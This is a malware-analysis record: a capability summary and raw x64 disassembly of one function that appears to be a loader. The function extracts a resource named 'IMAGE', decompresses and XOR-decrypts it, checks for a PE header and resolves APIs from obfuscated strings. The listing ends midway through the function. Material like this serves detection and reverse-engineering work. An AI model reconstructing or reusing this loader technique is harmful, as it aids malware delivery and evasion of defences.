Function at 0x140000958
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x728]
sub rsp, 0x828
xor r12d, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
lea r8, str.IMAGE
mov edx, 0x85
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
test rax, rax
je 0x1400009cf
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400009cf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400009cf
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x1400009d5
mov eax, r12d
mov rbx, r12
mov dword [0x1400057b0], eax
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x1400057d0], rbx
lea r8, [0x1400057c0]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.Cabinet.dll_CreateDecompressor]
test eax, eax
je 0x140000a93
mov r8d, dword [0x1400057b0]
lea rbx, [0x1400057b8]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov rdx, qword [0x1400057d0]
mov rcx, qword [0x1400057c0]
call qword [sym.imp.Cabinet.dll_Decompress]
test eax, eax
jne 0x140000a60
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140000a93
mov rcx, qword [0x1400057b8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
mov qword [0x140005798], rax
test rax, rax
je 0x140000a93
jmp 0x140000a67
mov r9, qword [0x140005798]
mov r8d, dword [0x1400057b0]
mov qword [rsp + 0x28], rbx
mov rax, qword [0x1400057b8]
mov qword [rsp + 0x20], rax
mov rdx, qword [0x1400057d0]
mov rcx, qword [0x1400057c0]
call qword [sym.imp.Cabinet.dll_Decompress]
mov dword [rsp + 0x50], 0x34656744
mov dword [rsp + 0x54], 0x2a424868
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov ecx, 0xf
mov qword [rbp - 0x28], rcx
lea edi, [rcx - 6]
mov qword [rbp - 0x30], rdi
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], CreateDecompressor
mov dword [rsp + 0x50], 0x2b433837
mov dword [rsp + 0x54], 0x652d4e69
mov byte [rsp + 0x58], 0x4f
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x80], rdi
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0x70], xmm0
mov word [rbp + 0x78], 0x4f
lea r9, [rbp + 0x70]
mov qword [rsp + 0x20], rdi
mov edx, edi
lea rcx, [rbp - 0x40]
call fcn.1400025c8
lea rdx, [rbp - 0x40]
lea rcx, [rbp]
call fcn.140002128
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400005d8
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], r12
mov r8, qword [0x1400057b8]
mov rdx, qword [0x140005798]
lea rcx, [rbp + 0x1d0]
call fcn.140002380
nop
lea r8, [rbp + 0x1d0]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xf0]
call fcn.140000774
nop
lea rcx, [rbp + 0x20]
mov rbx, qword [rbp + 0x30]
cmp qword [rbp + 0x38], 0x10
jb 0x140000b9a
mov rdi, qword [rbp + 0x20]
add rbx, rdi
jmp 0x140000ba1
add rbx, rcx
lea rdi, [rbp + 0x20]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r12
mov r13d, 0x1000
sub rbx, rdi
je 0x140000c3a
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140002058
cmp rbx, r13
jb 0x140000bff
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140002052
call fcn.1400028cc
test rax, rax
je 0x140001f29
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140000c0a
mov rcx, rbx
call fcn.1400028cc
mov r15, rax
mov qword [rbp + 0x788], r15
mov qword [rbp + 0xd8], r15
lea rsi, [r15 + rbx]
mov qword [rbp + 0xe8], rsi
mov r8, rbx
mov rdx, rdi
mov rcx, r15
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0xe0], rsi
jmp 0x140000c48
mov r15, qword [rbp + 0xd8]
mov qword [rbp + 0x788], r15
movsd xmm0, qword [str.3_e_t_VUVZef7]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x140003c38]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140003c3c]
mov word [rbp - 0x54], ax
mov al, byte [0x140003c3e]
mov byte [rbp - 0x52], al
mov rcx, qword [0x1400057b8]
call fcn.140002b60
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rax, [rbp - 0x60]
or r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000c98
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x20]
call fcn.140002380
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0xf0]
call fcn.140000774
mov rbx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140000cd3
mov rbx, qword [rax]
mov rsi, qword [0x1400057b8]
mov rdi, r14
inc rdi
cmp byte [rbx + rdi], r12b
jne 0x140000cdd
lea rcx, [rsi + 1]
call fcn.140002b60
mov r10, rax
mov qword [rbp + 0x770], rax
mov r8, r12
test rsi, rsi
je 0x140000d24
mov r9, r15
sub r9, rax
lea rcx, [r8 + r10]
xor edx, edx
mov rax, r8
div rdi
mov al, byte [rdx + rbx]
xor al, byte [r9 + rcx]
mov byte [rcx], al
inc r8
cmp r8, rsi
jb 0x140000d07
mov byte [r10 + rsi], r12b
mov rdx, qword [rbp + 0x208]
cmp rdx, 0x10
jb 0x140000d68
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, r13
jb 0x140000d63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000d63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r12b
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140000dbb
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r13
jb 0x140000db6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140000db6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
movsd xmm0, qword [str.q_7_eNH]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x140003c48]
mov word [rsp + 0x58], ax
movups xmm0, xmmword [str.Q_tF_0fEPAtXnRqsp_M]
movups xmmword [rbp + 0x58], xmm0
mov eax, dword [0x140003c60]
mov dword [rbp + 0x68], eax
movzx eax, word [0x140003c64]
mov word [rbp + 0x6c], ax
mov al, byte [0x140003c66]
mov byte [rbp + 0x6e], al
movups xmm0, xmmword [str.Q_gF_huG_Jt_1I86v]
movups xmmword [rbp + 0xc0], xmm0
mov eax, dword [0x140003c78]
mov dword [rbp + 0xd0], eax
movups xmm0, xmmword [str.Q_0F0fEILwE_ZK2u_]
movups xmmword [rbp + 0x90], xmm0
mov eax, dword [0x140003c90]
mov dword [rbp + 0xa0], eax
mov al, byte [0x140003c94]
mov byte [rbp + 0xa4], al
movups xmm0, xmmword [str.Q_w_:JpPP_Pv4K4r]
movups xmmword [rbp + 0x40], xmm0
movzx eax, word [0x140003ca8]
mov word [rbp + 0x50], ax
mov al, byte [0x140003caa]
mov byte [rbp + 0x52], al
movsd xmm0, qword [str.Q_v__1nG_JgE_]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140003cb8]
mov dword [rbp - 0x48], eax
movzx eax, word [0x140003cbc]
mov word [rbp - 0x44], ax
mov al, byte [0x140003cbe]
mov byte [rbp - 0x42], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp - 0x60]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000e9f
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], r12
lea rax, [rsp + 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000ed7
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1b0]
call fcn.140002380
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r12
lea rax, [rbp - 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f11
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x190]
call fcn.140002380
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x188], r12
lea rax, [rbp + 0x40]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f4a
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x170]
call fcn.140002380
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], r12
mov qword [rbp + 0x168], r12
lea rax, [rbp + 0x90]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000f86
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x150]
call fcn.140002380
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], r12
lea rax, [rbp + 0xc0]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000fc5
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x130]
call fcn.140002380
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
lea rax, [rbp + 0x58]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140000ff8
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x20]
call fcn.140002380
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp]
lea rcx, [rbp + 0xf0]
call fcn.140000774
mov r12, rax
lea r8, [rbp + 0x1b0]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140000774
mov r13, rax
lea r8, [rbp + 0x190]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0xf0]
call fcn.140000774
mov r15, rax
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0xf0]
call fcn.140000774
mov rsi, rax
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xf0]
call fcn.140000774
mov rdi, rax
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xf0]
call fcn.140000774
mov rbx, rax
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xf0]
call fcn.140000774
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400010da
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002750
lea rdx, [0x140002348]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140001107
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140002750
lea rbx, [0x140002348]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140001133
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rax
call fcn.140002750
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140001158
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.140002750
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r15
mov esi, 0x10
cmp qword [r15 + 0x18], rsi
jb 0x140001181
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
mov rcx, rax
call fcn.140002750
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r13
cmp qword [r13 + 0x18], rsi
jb 0x1400011a6
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
mov rcx, rax
call fcn.140002750
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, r12
cmp qword [r12 + 0x18], rsi
jb 0x1400011cc
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
mov rcx, rax
call fcn.140002750
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x228]
mov r15d, 0x1000
cmp rdx, rsi
jb 0x14000122b
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, r15
jb 0x140001226
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001226
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
xor edi, edi
mov qword [rbp + 0x220], rdi
lea ebx, [rdi + 0xf]
mov qword [rbp + 0x228], rbx
mov byte [rbp + 0x210], dil
mov rdx, qword [rbp + 0x248]
cmp rdx, rsi
jb 0x140001284
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, r15
jb 0x14000127f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000127f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x240], rdi
mov qword [rbp + 0x248], rbx
mov byte [rbp + 0x230], dil
mov rdx, qword [rbp + 0x268]
cmp rdx, rsi
jb 0x1400012d8
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, r15
jb 0x1400012d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400012d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], rbx
mov byte [rbp + 0x250], dil
mov rdx, qword [rbp + 0x288]
cmp rdx, rsi
jb 0x14000132c
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, r15
jb 0x140001327
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001327
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x280], rdi
mov qword [rbp + 0x288], rbx
mov byte [rbp + 0x270], dil
mov rdx, qword [rbp + 0x2a8]
cmp rdx, rsi
jb 0x140001380
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, r15
jb 0x14000137b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000137b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x2a0], rdi
mov qword [rbp + 0x2a8], rbx
mov byte [rbp + 0x290], dil
mov rdx, qword [rbp - 0x68]
cmp rdx, rsi
jb 0x1400013ce
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x1400013c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rbx
mov byte [rbp - 0x80], dil
mov rdx, qword [rbp + 0x18]
cmp rdx, rsi
jb 0x140001413
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, r15
jb 0x14000140e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000140e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], rbx
mov byte [rbp], dil
mov rdx, qword [rbp - 8]
cmp rdx, rsi
jb 0x140001459
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r15
jb 0x140001453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001453
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, rsi
jb 0x140001499
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, r15
jb 0x140001493
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001493
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, rsi
jb 0x1400014d9
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, r15
jb 0x1400014d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400014d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, rsi
jb 0x140001519
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, r15
jb 0x140001513
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001513
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, rsi
jb 0x140001559
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, r15
jb 0x140001553
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001553
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rbp + 0x1c8]
cmp rdx, rsi
jb 0x140001599
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, r15
jb 0x140001593
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001593
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, rsi
jb 0x1400015d4
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x1400015cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov r12, qword [rbp + 0x770]
movsxd r13, dword [r12 + 0x3c]
add r13, r12
cmp dword [r13], 0x4550
jne 0x140001ef0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x2b0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x320]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rax, [rsp + 0x50]
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x140001645
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp]
lea rcx, [rbp + 0xf0]
call fcn.140000774
cmp qword [rax + 0x18], rsi
jb 0x14000167c
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov rdx, qword [rbp + 0x18]
cmp rdx, rsi
jb 0x1400016c1
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, r15
jb 0x1400016bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp + 0x10], rdi
mov qword [rbp + 0x18], 0xf
mov byte [rbp], dil
mov rdx, qword [rsp + 0x78]
cmp rdx, rsi
jb 0x14000170c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x140001707
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001707
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rax, [rbp + 0x58]
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x140001725
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140000774
cmp qword [rax + 0x18], rsi
jb 0x14000175b
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057c8], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, rsi
jb 0x1400017a7
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x1400017a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], dil
mov rdx, qword [rsp + 0x78]
cmp rdx, rsi
jb 0x1400017f2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x1400017ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017ed
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
cmp qword [0x1400057c8], rdi
je 0x140001eeb
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rax, [rbp + 0xc0]
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x14000181b
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140000774
cmp qword [rax + 0x18], rsi
jb 0x140001854
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400057a0], rax
mov rdx, qword [rbp - 0x68]
cmp rdx, rsi
jb 0x1400018a0
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x14000189b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000189b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], dil
mov rdx, qword [rsp + 0x78]
cmp rdx, rsi
jb 0x1400018eb
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x1400018e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002b58
cmp qword [0x1400057a0], rdi
je 0x140001eeb
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea rax, [rbp + 0x90]
mov r8, r14
inc r8
cmp byte [rax + r8], dil
jne 0x140001914
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.140002380
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140000774
cmp qword [rax + 0x18], rsi
jb 0x14000194d
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
